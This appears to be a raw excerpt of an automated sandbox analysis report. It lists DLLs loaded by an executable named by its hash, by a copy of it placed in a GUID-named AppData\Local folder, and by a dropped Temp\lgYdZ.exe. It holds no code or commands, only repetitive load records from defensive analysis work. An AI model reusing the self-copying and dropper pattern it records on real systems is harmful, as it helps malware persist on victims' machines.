Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: srvcli.dll
